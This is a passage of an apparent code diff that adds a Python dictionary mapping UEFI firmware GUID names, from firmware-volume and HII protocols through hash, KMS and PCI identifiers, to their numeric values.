0x27, 0x3F, 0xC1, 0x4D], + 'EFI_FIND_FV_PPI_GUID': [0x36164812, 0xa023, 0x44e5, 0xbd, 0x85, 0x5, 0xbf, 0x3c, 0x77, 0x0, 0xaa], + 'EFI_FIRMWARE_CONTENTS_SIGNED_GUID': [0xf9d89e8, 0x9259, 0x4f76, 0xa5, 0xaf, 0xc, 0x89, 0xe3, 0x40, 0x23, 0xdf], + 'EFI_FIRMWARE_FILE_SYSTEM2_GUID': [0x8c8ce578, 0x8a3d, 0x4f1c, 0x99, 0x35, 0x89, 0x61, 0x85, 0xc3, 0x2d, 0xd3], + 'EFI_FIRMWARE_FILE_SYSTEM3_GUID': [0x5473c07a, 0x3dcb, 0x4dca, 0xbd, 0x6f, 0x1e, 0x96, 0x89, 0xe7, 0x34, 0x9a], + 'EFI_FIRMWARE_FILE_SYSTEM_GUID': [0x7A9354D9, 0x0468, 0x444a, 0x81, 0xCE, 0x0B, 0xF6, 0x17, 0xD8, 0x90, 0xDF], + 'EFI_FIRMWARE_MANAGEMENT_PROTOCOL_GUID': [0x86c77a67, 0xb97, 0x4633, 0xa1, 0x87, 0x49, 0x10, 0x4d, 0x6, 0x85, 0xc7], + 'EFI_FIRMWARE_PERFORMANCE_GUID': [0xc095791a, 0x3001, 0x47b2, 0x80, 0xc9, 0xea, 0xc7, 0x31, 0x9f, 0x2f, 0xa4], + 'EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID': [0x220e73b6, 0x6bdb, 0x4413, 0x84, 0x5, 0xb9, 0x74, 0xb1, 0x8, 0x61, 0x9a], + 'EFI_FIRMWARE_VOLUME_BLOCK2_PROTOCOL_GUID': [0x8f644fa9, 0xe850, 0x4db1, 0x9c, 0xe2, 0xb, 0x44, 0x69, 0x8e, 0x8d, 0xa4], + 'EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL_GUID': [0x8f644fa9, 0xe850, 0x4db1, 0x9c, 0xe2, 0xb, 0x44, 0x69, 0x8e, 0x8d, 0xa4], + 'EFI_FIRMWARE_VOLUME_DISPATCH_PROTOCOL_GUID': [0x7aa35a69, 0x506c, 0x444f, 0xa7, 0xaf, 0x69, 0x4b, 0xf5, 0x6f, 0x71, 0xc8], + 'EFI_FIRMWARE_VOLUME_PROTOCOL_GUID': [0x389F751F, 0x1838, 0x4388, 0x83, 0x90, 0xCD, 0x81, 0x54, 0xBD, 0x27, 0xF8], + 'EFI_FORM_BROWSER2_PROTOCOL_GUID': [0xb9d4c360, 0xbcfb, 0x4f9b, 0x92, 0x98, 0x53, 0xc1, 0x36, 0x98, 0x22, 0x58], + 'EFI_FORM_BROWSER_COMPATIBILITY_PROTOCOL_GUID': [0xfb7c852, 0xadca, 0x4853, 0x8d, 0xf, 0xfb, 0xa7, 0x1b, 0x1c, 0xe1, 0x1a], + 'EFI_FORM_BROWSER_PROTOCOL_GUID': [0xe5a1333e, 0xe1b4, 0x4d55, 0xce, 0xeb, 0x35, 0xc3, 0xef, 0x13, 0x34, 0x43], + 'EFI_FORM_BROWSER_PROTOCOL_GUID': [0xfb7c852, 0xadca, 0x4853, 0x8d, 0xf, 0xfb, 0xa7, 0x1b, 0x1c, 0xe1, 0x1a], + 'EFI_FORM_CALLBACK_PROTOCOL_GUID': [0xf3e4543d, 0xcf35, 0x6cef, 0x35, 0xc4, 0x4f, 0xe6, 0x34, 0x4d, 0xfc, 0x54], + 'EFI_FRAMEWORK_DEVICE_PATH_GUID': [0xb7084e63, 0x46b7, 0x4d1a, 0x86, 0x77, 0xe3, 0x0b, 0x53, 0xdb, 0xf0, 0x50], + 'EFI_FTP4_PROTOCOL_GUID': [0xeb338826, 0x681b, 0x4295, 0xb3, 0x56, 0x2b, 0x36, 0x4c, 0x75, 0x7b, 0x9], + 'EFI_FTP4_SERVICE_BINDING_PROTOCOL_GUID': [0xfaaecb1, 0x226e, 0x4782, 0xaa, 0xce, 0x7d, 0xb9, 0xbc, 0xbf, 0x4d, 0xaf], + 'EFI_FTW_LITE_PROTOCOL_GUID': [0x3f557189, 0x8dae, 0x45ae, 0xa0, 0xb3, 0x2b, 0x99, 0xca, 0x7a, 0xa7, 0xa0], + 'EFI_FVB_EXTENSION_PROTOCOL_GUID': [0x53a4c71b, 0xb581, 0x4170, 0x91, 0xb3, 0x8d, 0xb8, 0x7a, 0x4b, 0x5c, 0x46], + 'EFI_GENERIC_MEMORY_TEST_PROTOCOL_GUID': [0x309de7f1, 0x7f5e, 0x4ace, 0xb4, 0x9c, 0x53, 0x1b, 0xe5, 0xaa, 0x95, 0xef], + 'EFI_GENERIC_VARIABLE_GUID': [0x59d1c24f, 0x50f1, 0x401a, 0xb1, 0x01, 0xf3, 0x3e, 0x0d, 0xae, 0xd4, 0x43], + 'EFI_GLOBAL_VARIABLE_GUID': [0x8BE4DF61, 0x93CA, 0x11d2, 0xAA, 0x0D, 0x00, 0xE0, 0x98, 0x03, 0x2B, 0x8C], + 'EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID': [0x9042a9de, 0x23dc, 0x4a38, 0x96, 0xfb, 0x7a, 0xde, 0xd0, 0x80, 0x51, 0x6a], + 'EFI_HARDWARE_ERROR_VARIABLE_GUID': [0x414E6BDD, 0xE47B, 0x47cc, 0xB2, 0x44, 0xBB, 0x61, 0x02, 0x0C, 0xF5, 0x16], + 'EFI_HASH_ALGORITHM_SHA1_GUID': [0x2ae9d80f, 0x3fb2, 0x4095, 0xb7, 0xb1, 0xe9, 0x31, 0x57, 0xb9, 0x46, 0xb6], + 'EFI_HASH_ALGORITHM_SHA1_NOPAD_GUID': [0x24c5dc2f, 0x53e2, 0x40ca, 0x9e, 0xd6, 0xa5, 0xd9, 0xa4, 0x9f, 0x46, 0x3b], + 'EFI_HASH_ALGORITHM_SHA224_GUID': [0x8df01a06, 0x9bd5, 0x4bf7, 0xb0, 0x21, 0xdb, 0x4f, 0xd9, 0xcc, 0xf4, 0x5b], + 'EFI_HASH_ALGORITHM_SHA256_GUID': [0x51aa59de, 0xfdf2, 0x4ea3, 0xbc, 0x63, 0x87, 0x5f, 0xb7, 0x84, 0x2e, 0xe9], + 'EFI_HASH_ALGORITHM_SHA256_NOPAD_GUID': [0x8628752a, 0x6cb7, 0x4814, 0x96, 0xfc, 0x24, 0xa8, 0x15, 0xac, 0x22, 0x26], + 'EFI_HASH_ALGORITHM_SHA384_GUID': [0xefa96432, 0xde33, 0x4dd2, 0xae, 0xe6, 0x32, 0x8c, 0x33, 0xdf, 0x77, 0x7a], + 'EFI_HASH_ALGORITHM_SHA512_GUID': [0xcaa4381e, 0x750c, 0x4770, 0xb8, 0x70, 0x7a, 0x23, 0xb4, 0xe4, 0x21, 0x30], + 'EFI_HASH_ALGORTIHM_MD5_GUID': [0xaf7c79c, 0x65b5, 0x4319, 0xb0, 0xae, 0x44, 0xec, 0x48, 0x4e, 0x4a, 0xd7], + 'EFI_HASH_PROTOCOL_GUID': [0xc5184932, 0xdba5, 0x46db, 0xa5, 0xba, 0xcc, 0x0b, 0xda, 0x9c, 0x14, 0x35], + 'EFI_HASH_SERVICE_BINDING_PROTOCOL_GUID': [0x42881c98, 0xa4f3, 0x44b0, 0xa3, 0x9d, 0xdf, 0xa1, 0x86, 0x67, 0xd8, 0xcd], + 'EFI_HII_COMPATIBILITY_PROTOCOL_GUID': [0x5542cce1, 0xdf5c, 0x4d1b, 0xab, 0xca, 0x36, 0x4f, 0x77, 0xd3, 0x99, 0xfb], + 'EFI_HII_CONFIG_ACCESS_PROTOCOL_GUID': [0x330d4706, 0xf2a0, 0x4e4f, 0xa3, 0x69, 0xb6, 0x6f, 0xa8, 0xd5, 0x43, 0x85], + 'EFI_HII_CONFIG_ROUTING_PROTOCOL_GUID': [0x587e72d7, 0xcc50, 0x4f79, 0x82, 0x09, 0xca, 0x29, 0x1f, 0xc1, 0xa1, 0x0f], + 'EFI_HII_DATABASE_PROTOCOL_GUID': [0xef9fc172, 0xa1b2, 0x4693, 0xb3, 0x27, 0x6d, 0x32, 0xfc, 0x41, 0x60, 0x42], + 'EFI_HII_DRIVER_HEALTH_FORMSET_GUID': [0xf22fc20c, 0x8cf4, 0x45eb, 0x8e, 0x6, 0xad, 0x4e, 0x50, 0xb9, 0x5d, 0xd3], + 'EFI_HII_FONT_PROTOCOL_GUID': [0xe9ca4775, 0x8657, 0x47fc, 0x97, 0xe7, 0x7e, 0xd6, 0x5a, 0x8, 0x43, 0x24], + 'EFI_HII_FRONT_PAGE_CLASS_GUID': [0x94d411b7, 0x7669, 0x45c3, 0xba, 0x3b, 0xf3, 0xa5, 0x8a, 0x71, 0x56, 0x81], + 'EFI_HII_IMAGE_PROTOCOL_GUID': [0x31a6406a, 0x6bdf, 0x4e46, 0xb2, 0xa2, 0xeb, 0xaa, 0x89, 0xc4, 0x9, 0x20], + 'EFI_HII_PACKAGE_LIST_PROTOCOL_GUID': [0x6a1ee763, 0xd47a, 0x43b4, 0xaa, 0xbe, 0xef, 0x1d, 0xe2, 0xab, 0x56, 0xfc], + 'EFI_HII_PLATFORM_SETUP_FORMSET_GUID': [0x93039971, 0x8545, 0x4b04, 0xb4, 0x5e, 0x32, 0xeb, 0x83, 0x26, 0x4, 0xe], + 'EFI_HII_PROTOCOL_GUID': [0x5542cce1, 0xdf5c, 0x4d1b, 0xab, 0xca, 0x36, 0x4f, 0x77, 0xd3, 0x99, 0xfb], + 'EFI_HII_PROTOCOL_GUID': [0xd7ad636e, 0xb997, 0x459b, 0xbf, 0x3f, 0x88, 0x46, 0x89, 0x79, 0x80, 0xe1], + 'EFI_HII_SET_KEYBOARD_LAYOUT_EVENT_GUID': [0x14982a4f, 0xb0ed, 0x45b8, 0xa8, 0x11, 0x5a, 0x7a, 0x9b, 0xc2, 0x32, 0xdf], + 'EFI_HII_STANDARD_FORM_GUID': [0x3bd2f4ec, 0xe524, 0x46e4, 0xa9, 0xd8, 0x51, 0x1, 0x17, 0x42, 0x55, 0x62], + 'EFI_HII_STRING_PROTOCOL_GUID': [0xfd96974, 0x23aa, 0x4cdc, 0xb9, 0xcb, 0x98, 0xd1, 0x77, 0x50, 0x32, 0x2a], + 'EFI_HII_USER_CREDENTIAL_FORMSET_GUID': [0x337f4407, 0x5aee, 0x4b83, 0xb2, 0xa7, 0x4e, 0xad, 0xca, 0x30, 0x88, 0xcd], + 'EFI_HOB_LIST_GUID': [0x7739f24c, 0x93d7, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_HOB_MEMORY_ALLOC_BSP_STORE_GUID': [0x564b33cd, 0xc92a, 0x4593, 0x90, 0xbf, 0x24, 0x73, 0xe4, 0x3c, 0x63, 0x22], + 'EFI_HOB_MEMORY_ALLOC_STACK_GUID': [0x4ed4bf27, 0x4092, 0x42e9, 0x80, 0x7d, 0x52, 0x7b, 0x1d, 0x0, 0xc9, 0xbd], + 'EFI_IA32_X64_ERROR_TYPE_BUS_CHECK_GUID': [0x1CF3F8B3, 0xC5B1, 0x49a2, 0xAA, 0x59, 0x5E, 0xEF, 0x92, 0xFF, 0xA6, 0x3C], + 'EFI_IA32_X64_ERROR_TYPE_CACHE_CHECK_GUID': [0xA55701F5, 0xE3EF, 0x43de, 0xAC, 0x72, 0x24, 0x9B, 0x57, 0x3F, 0xAD, 0x2C], + 'EFI_IA32_X64_ERROR_TYPE_MS_CHECK_GUID': [0x48AB7F57, 0xDC34, 0x4f6c, 0xA7, 0xD3, 0xB0, 0xB5, 0xB0, 0xA7, 0x43, 0x14], + 'EFI_IA32_X64_ERROR_TYPE_TLB_CHECK_GUID': [0xFC06B535, 0x5E1F, 0x4562, 0x9F, 0x25, 0x0A, 0x3B, 0x9A, 0xDB, 0x63, 0xC3], + 'EFI_IDE_CONTROLLER_INIT_PROTOCOL_GUID': [0xa1e37052, 0x80d9, 0x4e65, 0xa3, 0x17, 0x3e, 0x9a, 0x55, 0xc4, 0x3e, 0xc9], + 'EFI_IFR_FRAMEWORK_GUID': [0x31ca5d1a, 0xd511, 0x4931, 0xb7, 0x82, 0xae, 0x6b, 0x2b, 0x17, 0x8c, 0xd7], + 'EFI_IFR_REFRESH_ID_OP_GUID': [0xF5E655D9, 0x02A6, 0x46f2, 0x9E, 0x76, 0xB8, 0xBE, 0x8E, 0x60, 0xAB, 0x22], + 'EFI_IFR_TIANO_GUID': [0xf0b1735, 0x87a0, 0x4193, 0xb2, 0x66, 0x53, 0x8c, 0x38, 0xaf, 0x48, 0xce], + 'EFI_IMAGE_SECURITY_DATABASE_GUID': [0xd719b2cb, 0x3d3a, 0x4596, 0xa3, 0xbc, 0xda, 0xd0, 0xe, 0x67, 0x65, 0x6f], + 'EFI_INCOMPATIBLE_PCI_DEVICE_SUPPORT_PROTOCOL_GUID': [0xeb23f55a, 0x7863, 0x4ac2, 0x8d, 0x3d, 0x95, 0x65, 0x35, 0xde, 0x03, 0x75], + 'EFI_IOBASE_HOB_GUID': [0xd4a28a3e, 0xdcf2, 0x43cf, 0xa2, 0xb7, 0xf3, 0x57, 0x2a, 0x7c, 0xab, 0x9], + 'EFI_IP4_CONFIG_PROTOCOL_GUID': [0x3b95aa31, 0x3793, 0x434b, 0x86, 0x67, 0xc8, 0x07, 0x08, 0x92, 0xe0, 0x5e], + 'EFI_IP4_PROTOCOL_GUID': [0x41d94cd2, 0x35b6, 0x455a, 0x82, 0x58, 0xd4, 0xe5, 0x13, 0x34, 0xaa, 0xdd], + 'EFI_IP4_SERVICE_BINDING_PROTOCOL_GUID': [0xc51711e7, 0xb4bf, 0x404a, 0xbf, 0xb8, 0x0a, 0x04, 0x8e, 0xf1, 0xff, 0xe4], + 'EFI_IP6_CONFIG_PROTOCOL_GUID': [0x937fe521, 0x95ae, 0x4d1a, 0x89, 0x29, 0x48, 0xbc, 0xd9, 0x0a, 0xd3, 0x1a], + 'EFI_IP6_PROTOCOL_GUID': [0x2c8759d5, 0x5c2d, 0x66ef, 0x92, 0x5f, 0xb6, 0x6c, 0x10, 0x19, 0x57, 0xe2], + 'EFI_IP6_SERVICE_BINDING_PROTOCOL_GUID': [0xec835dd3, 0xfe0f, 0x617b, 0xa6, 0x21, 0xb3, 0x50, 0xc3, 0xe1, 0x33, 0x88], + 'EFI_IPSEC2_PROTOCOL_GUID': [0xa3979e64, 0xace8, 0x4ddc, 0xbc, 0x7, 0x4d, 0x66, 0xb8, 0xfd, 0x9, 0x77], + 'EFI_IPSEC_CONFIG_PROTOCOL_GUID': [0xce5e5929, 0xc7a3, 0x4602, 0xad, 0x9e, 0xc9, 0xda, 0xf9, 0x4e, 0xbf, 0xcf], + 'EFI_IPSEC_PROTOCOL_GUID': [0xdfb386f7, 0xe100, 0x43ad, 0x9c, 0x9a, 0xed, 0x90, 0xd0, 0x8a, 0x5e, 0x12], + 'EFI_ISA_ACPI_PROTOCOL_GUID': [0x64a892dc, 0x5561, 0x4536, 0x92, 0xc7, 0x79, 0x9b, 0xfc, 0x18, 0x33, 0x55], + 'EFI_ISA_IO_PROTOCOL_GUID': [0x7ee2bd44, 0x3da0, 0x11d4, 0x9a, 0x38, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_ISCSI_INITIATOR_NAME_PROTOCOL_GUID': [0x59324945, 0xec44, 0x4c0d, 0xb1, 0xcd, 0x9d, 0xb1, 0x39, 0xdf, 0x7, 0xc], + 'EFI_KMS_FORMAT_AESCBC_128_GUID': [0xa0e8ee6a, 0x0e92, 0x44d4, 0x86, 0x1b, 0x0e, 0xaa, 0x4a, 0xca, 0x44, 0xa2], + 'EFI_KMS_FORMAT_AESCBC_256_GUID': [0xd7e69789, 0x1f68, 0x45e8, 0x96, 0xef, 0x3b, 0x64, 0x07, 0xa5, 0xb2, 0xdc], + 'EFI_KMS_FORMAT_AESXTS_128_GUID': [0x4776e33f, 0xdb47, 0x479a, 0xa2, 0x5f, 0xa1, 0xcd, 0x0a, 0xfa, 0xb3, 0x8b], + 'EFI_KMS_FORMAT_AESXTS_256_GUID': [0xdc7e8613, 0xc4bb, 0x4db0, 0x84, 0x62, 0x13, 0x51, 0x13, 0x57, 0xab, 0xe2], + 'EFI_KMS_FORMAT_GENERIC_1024_GUID': [0x43be0b44, 0x874b, 0x4ead, 0xb0, 0x9c, 0x24, 0x1a, 0x4f, 0xbd, 0x7e, 0xb3], + 'EFI_KMS_FORMAT_GENERIC_128_GUID': [0xec8a3d69, 0x6ddf, 0x4108, 0x94, 0x76, 0x73, 0x37, 0xfc, 0x52, 0x21, 0x36], + 'EFI_KMS_FORMAT_GENERIC_160_GUID': [0xa3b3e6f8, 0xefca, 0x4bc1, 0x88, 0xfb, 0xcb, 0x87, 0x33, 0x9b, 0x25, 0x79], + 'EFI_KMS_FORMAT_GENERIC_2048_GUID': [0x40093f23, 0x630c, 0x4626, 0x9c, 0x48, 0x40, 0x37, 0x3b, 0x19, 0xcb, 0xbe], + 'EFI_KMS_FORMAT_GENERIC_256_GUID': [0x70f64793, 0xc323, 0x4261, 0xac, 0x2c, 0xd8, 0x76, 0xf2, 0x7c, 0x53, 0x45], + 'EFI_KMS_FORMAT_GENERIC_3072_GUID': [0xb9237513, 0x6c44, 0x4411, 0xa9, 0x90, 0x21, 0xe5, 0x56, 0xe0, 0x5a, 0xde], + 'EFI_KMS_FORMAT_GENERIC_512_GUID': [0x978fe043, 0xd7af, 0x422e, 0x8a, 0x92, 0x2b, 0x48, 0xe4, 0x63, 0xbd, 0xe6], + 'EFI_KMS_FORMAT_MD2_128_GUID': [0x78be11c4, 0xee44, 0x4a22, 0x9f, 0x05, 0x03, 0x85, 0x2e, 0xc5, 0xc9, 0x78], + 'EFI_KMS_FORMAT_MD4_128_GUID': [0xd1c17aa1, 0xcac5, 0x400f, 0xbe, 0x17, 0xe2, 0xa2, 0xae, 0x06, 0x67, 0x7c], + 'EFI_KMS_FORMAT_MD5SHA_128_GUID': [0x1c178237, 0x6897, 0x459e, 0x9d, 0x36, 0x67, 0xce, 0x8e, 0xf9, 0x4f, 0x76], + 'EFI_KMS_FORMAT_MD5_128_GUID': [0xdcbc3662, 0x9cda, 0x4b52, 0xa0, 0x4c, 0x82, 0xeb, 0x1d, 0x23, 0x48, 0xc7], + 'EFI_KMS_FORMAT_MDC2_128_GUID': [0xf7ad60f8, 0xefa8, 0x44a3, 0x91, 0x13, 0x23, 0x1f, 0x39, 0x9e, 0xb4, 0xc7], + 'EFI_KMS_FORMAT_MDC4_128_GUID': [0x3fa4f847, 0xd8eb, 0x4df4, 0xbd, 0x49, 0x10, 0x3a, 0x0a, 0x84, 0x7b, 0xbc], + 'EFI_KMS_FORMAT_RSASHA1_1024_GUID': [0x56417bed, 0x6bbe, 0x4882, 0x86, 0xa0, 0x3a, 0xe8, 0xbb, 0x17, 0xf8, 0xf9], + 'EFI_KMS_FORMAT_RSASHA1_2048_GUID': [0xf66447d4, 0x75a6, 0x463e, 0xa8, 0x19, 0x07, 0x7f, 0x2d, 0xda, 0x05, 0xe9], + 'EFI_KMS_FORMAT_RSASHA256_2048_GUID': [0xa477af13, 0x877d, 0x4060, 0xba, 0xa1, 0x25, 0xd1, 0xbe, 0xa0, 0x8a, 0xd3], + 'EFI_KMS_FORMAT_SHA1_160_GUID': [0x453c5e5a, 0x482d, 0x43f0, 0x87, 0xc9, 0x59, 0x41, 0xf3, 0xa3, 0x8a, 0xc2], + 'EFI_KMS_FORMAT_SHA256_256_GUID': [0x6bb4f5cd, 0x8022, 0x448d, 0xbc, 0x6d, 0x77, 0x1b, 0xae, 0x93, 0x5f, 0xc6], + 'EFI_KMS_FORMAT_SHA512_512_GUID': [0x2f240e12, 0xe14d, 0x475c, 0x83, 0xb0, 0xef, 0xff, 0x22, 0xd7, 0x7b, 0xe7], + 'EFI_KMS_PROTOCOL_GUID': [0xEC3A978D, 0x7C4E, 0x48FA, 0x9A, 0xBE, 0x6A, 0xD9, 0x1C, 0xC8, 0xF8, 0x11], + 'EFI_LEGACY_8259_PROTOCOL_GUID': [0x38321dba, 0x4fe0, 0x4e17, 0x8a, 0xec, 0x41, 0x30, 0x55, 0xea, 0xed, 0xc1], + 'EFI_LEGACY_BIOS_GUID': [0x2e3044ac, 0x879f, 0x490f, 0x97, 0x60, 0xbb, 0xdf, 0xaf, 0x69, 0x5f, 0x50], + 'EFI_LEGACY_BIOS_PLATFORM_PROTOCOL_GUID': [0x783658a3, 0x4172, 0x4421, 0xa2, 0x99, 0xe0, 0x9, 0x7, 0x9c, 0xc, 0xb4], + 'EFI_LEGACY_BIOS_PROTOCOL_GUID': [0xdb9a1e3d, 0x45cb, 0x4abb, 0x85, 0x3b, 0xe5, 0x38, 0x7f, 0xdb, 0x2e, 0x2d], + 'EFI_LEGACY_BIOS_THUNK_PROTOCOL_GUID': [0x4c51a7ba, 0x7195, 0x442d, 0x87, 0x92, 0xbe, 0xea, 0x6e, 0x2f, 0xf6, 0xec], + 'EFI_LEGACY_DEV_ORDER_VARIABLE_GUID': [0xa56074db, 0x65fe, 0x45f7, 0xbd, 0x21, 0x2d, 0x2b, 0xdd, 0x8e, 0x96, 0x52], + 'EFI_LEGACY_INTERRUPT_PROTOCOL_GUID': [0x31ce593d, 0x108a, 0x485d, 0xad, 0xb2, 0x78, 0xf2, 0x1f, 0x29, 0x66, 0xbe], + 'EFI_LEGACY_REGION2_PROTOCOL_GUID': [0x70101eaf, 0x85, 0x440c, 0xb3, 0x56, 0x8e, 0xe3, 0x6f, 0xef, 0x24, 0xf0], + 'EFI_LEGACY_REGION_PROTOCOL_GUID': [0xfc9013a, 0x568, 0x4ba9, 0x9b, 0x7e, 0xc9, 0xc3, 0x90, 0xa6, 0x60, 0x9b], + 'EFI_LOADED_IMAGE_DEVICE_PATH_PROTOCOL_GUID': [0xbc62157e, 0x3e33, 0x4fec, 0x99, 0x20, 0x2d, 0x3b, 0x36, 0xd7, 0x50, 0xdf], + 'EFI_LOADED_IMAGE_PROTOCOL_GUID': [0x5B1B31A1, 0x9562, 0x11d2, 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B], + 'EFI_LOAD_FILE2_PROTOCOL_GUID': [0x4006c0c1, 0xfcb3, 0x403e, 0x99, 0x6d, 0x4a, 0x6c, 0x87, 0x24, 0xe0, 0x6d], + 'EFI_LOAD_FILE_PROTOCOL_GUID': [0x56EC3091, 0x954C, 0x11d2, 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B], + 'EFI_LOAD_FIXED_ADDRESS_CONFIGURATION_TABLE_GUID': [0x2CA88B53, 0xD296, 0x4080, 0xA4, 0xA5, 0xCA, 0xD9, 0xBA, 0xE2, 0x4B, 0x9], + 'EFI_LOCK_BOX_PROTOCOL_GUID': [0xbd445d79, 0xb7ad, 0x4f04, 0x9a, 0xd8, 0x29, 0xbd, 0x20, 0x40, 0xeb, 0x3c], + 'EFI_MANAGED_NETWORK_PROTOCOL_GUID': [0x7ab33a91, 0xace5, 0x4326, 0xb5, 0x72, 0xe7, 0xee, 0x33, 0xd3, 0x9f, 0x16], + 'EFI_MANAGED_NETWORK_SERVICE_BINDING_PROTOCOL_GUID': [0xf36ff770, 0xa7e1, 0x42cf, 0x9e, 0xd2, 0x56, 0xf0, 0xf2, 0x71, 0xf4, 0x4c], + 'EFI_MEASURED_FV_HOB_GUID': [0xb2360b42, 0x7173, 0x420a, 0x86, 0x96, 0x46, 0xca, 0x6b, 0xab, 0x10, 0x60], + 'EFI_MEMORY_PRODUCER_GUID': [0x1d7add6e, 0xb2da, 0x4b0b, 0xb2, 0x9f, 0x49, 0xcb, 0x42, 0xf4, 0x63, 0x56], + 'EFI_MEMORY_SUBCLASS_GUID': [0x4E8F4EBB, 0x64B9, 0x4e05, 0x9B, 0x18, 0x4C, 0xFE, 0x49, 0x23, 0x50, 0x97], + 'EFI_MEMORY_TYPE_INFORMATION_GUID': [0x4c19049f, 0x4137, 0x4dd3, 0x9c, 0x10, 0x8b, 0x97, 0xa8, 0x3f, 0xfd, 0xfa], + 'EFI_METRONOME_ARCH_PROTOCOL_GUID': [0x26baccb2, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_MINI_SHELL_FILE_GUID': [0x86ad232b, 0xd33a, 0x465c, 0xbf, 0x5f, 0x41, 0x37, 0xb, 0xa9, 0x2f, 0xe2], + 'EFI_MISC_PRODUCER_GUID': [0x62512c92, 0x63c4, 0x4d80, 0x82, 0xb1, 0xc1, 0xa4, 0xdc, 0x44, 0x80, 0xe5], + 'EFI_MISC_SUBCLASS_GUID': [0x772484B2, 0x7482, 0x4b91, 0x9F, 0x9A, 0xAD, 0x43, 0xF8, 0x1C, 0x58, 0x81], + 'EFI_MMC_HOST_PROTOCOL_GUID': [0x3e591c00, 0x9e4a, 0x11df, 0x92, 0x44, 0x00, 0x02, 0xA5, 0xD5, 0xC5, 0x1B], + 'EFI_MONOTONIC_COUNTER_ARCH_PROTOCOL_GUID': [0x1da97072, 0xbddc, 0x4b30, 0x99, 0xf1, 0x72, 0xa0, 0xb5, 0x6f, 0xff, 0x2a], + 'EFI_MONTONIC_COUNTER_ARCH_PROTOCOL_GUID': [0x1da97072, 0xbddc, 0x4b30, 0x99, 0xf1, 0x72, 0xa0, 0xb5, 0x6f, 0xff, 0x2a], + 'EFI_MPS_TABLE_GUID': [0xeb9d2d2f, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_MP_SERVICES_PROTOCOL_GUID': [0x3fdda605, 0xa76e, 0x4f46, 0xad, 0x29, 0x12, 0xf4, 0x53, 0x1b, 0x3d, 0x08], + 'EFI_MTFTP4_PROTOCOL_GUID': [0x78247c57, 0x63db, 0x4708, 0x99, 0xc2, 0xa8, 0xb4, 0xa9, 0xa6, 0x1f, 0x6b], + 'EFI_MTFTP4_SERVICE_BINDING_PROTOCOL_GUID': [0x2FE800BE, 0x8F01, 0x4aa6, 0x94, 0x6B, 0xD7, 0x13, 0x88, 0xE1, 0x83, 0x3F], + 'EFI_MTFTP6_PROTOCOL_GUID': [0xbf0a78ba, 0xec29, 0x49cf, 0xa1, 0xc9, 0x7a, 0xe5, 0x4e, 0xab, 0x6a, 0x51], + 'EFI_MTFTP6_SERVICE_BINDING_PROTOCOL_GUID': [0xd9760ff3, 0x3cca, 0x4267, 0x80, 0xf9, 0x75, 0x27, 0xfa, 0xfa, 0x42, 0x23], + 'EFI_NETWORK_INTERFACE_IDENTIFIER_PROTOCOL_GUID': [0x1ACED566, 0x76ED, 0x4218, 0xBC, 0x81, 0x76, 0x7F, 0x1F, 0x97, 0x7A, 0x89], + 'EFI_NETWORK_INTERFACE_IDENTIFIER_PROTOCOL_GUID': [0xE18541CD, 0xF755, 0x4f73, 0x92, 0x8D, 0x64, 0x3C, 0x8A, 0x79, 0xB2, 0x29], + 'EFI_NIC_IP4_CONFIG_NVDATA_GUID': [0x9d5b53f, 0xf4b0, 0x4f59, 0xa0, 0xb1, 0x7b, 0x57, 0xd3, 0x5c, 0xe, 0x5], + 'EFI_NIC_IP4_CONFIG_PROTOCOL_GUID': [0xdca3d4d, 0x12da, 0x4728, 0xbf, 0x7e, 0x86, 0xce, 0xb9, 0x28, 0xd0, 0x67], + 'EFI_NIC_IP4_CONFIG_VARIABLE_GUID': [0xd8944553, 0xc4dd, 0x41f4, 0x9b, 0x30, 0xe1, 0x39, 0x7c, 0xfb, 0x26, 0x7b], + 'EFI_NT_LOAD_AS_DLL_PPI_GUID': [0xccc53f6b, 0xa03a, 0x4ed8, 0x83, 0x9a, 0x3, 0xd9, 0x9c, 0x2, 0xb4, 0xe3], + 'EFI_OEM_BADGING_PROTOCOL_GUID': [0x170e13c0, 0xbf1b, 0x4218, 0x87, 0x1d, 0x2a, 0xbd, 0xc6, 0xf8, 0x87, 0xbc], + 'EFI_PART_TYPE_EFI_SYSTEM_PART_GUID': [0xc12a7328, 0xf81f, 0x11d2, 0xba, 0x4b, 0x00, 0xa0, 0xc9, 0x3e, 0xc9, 0x3b], + 'EFI_PART_TYPE_LEGACY_MBR_GUID': [0x024dee41, 0x33e7, 0x11d3, 0x9d, 0x69, 0x00, 0x08, 0xc7, 0x81, 0xf3, 0x9f], + 'EFI_PATH_FILE_NAME_GUID': [0x7644C181, 0xFA6E, 0x46DA, 0x80, 0xCB, 0x04, 0xB9, 0x90, 0x40, 0x62, 0xE8], + 'EFI_PCD_PROTOCOL_GUID': [0x13a3f0f6, 0x264a, 0x3ef0, 0xf2, 0xe0, 0xde, 0xc5, 0x12, 0x34, 0x2f, 0x34], + 'EFI_PCI_ENUMERATION_COMPLETE_GUID': [0x30cfe3e7, 0x3de1, 0x4586, 0xbe, 0x20, 0xde, 0xab, 0xa1, 0xb3, 0xb7, 0x93], + 'EFI_PCI_EXPRESS_BASE_ADDRESS_GUID': [0x3677d529, 0x326f, 0x4603, 0xa9, 0x26, 0xea, 0xac, 0xe0, 0x1d, 0xcb, 0xb0], + 'EFI_PCI_HOST_BRIDGE_RESOURCE_ALLOCATION_PROTOCOL_GUID': [0xCF8034BE, 0x6768, 0x4d8b, 0xB7, 0x39, 0x7C, 0xCE, 0x68, 0x3A, 0x9F, 0xBE], + 'EFI_PCI_HOTPLUG_DEVICE_GUID': [0x0b280816, 0x52e7, 0x4e51, 0xaa, 0x57, 0x11, 0xbd, 0x41, 0xcb, 0xef, 0xc3], + 'EFI_PCI_HOTPLUG_REQUEST_PROTOCOL_GUID': [0x19cb87ab, 0x2cb9, 0x4665, 0x83, 0x60, 0xdd, 0xcf, 0x60, 0x54, 0xf7, 0x9d], + 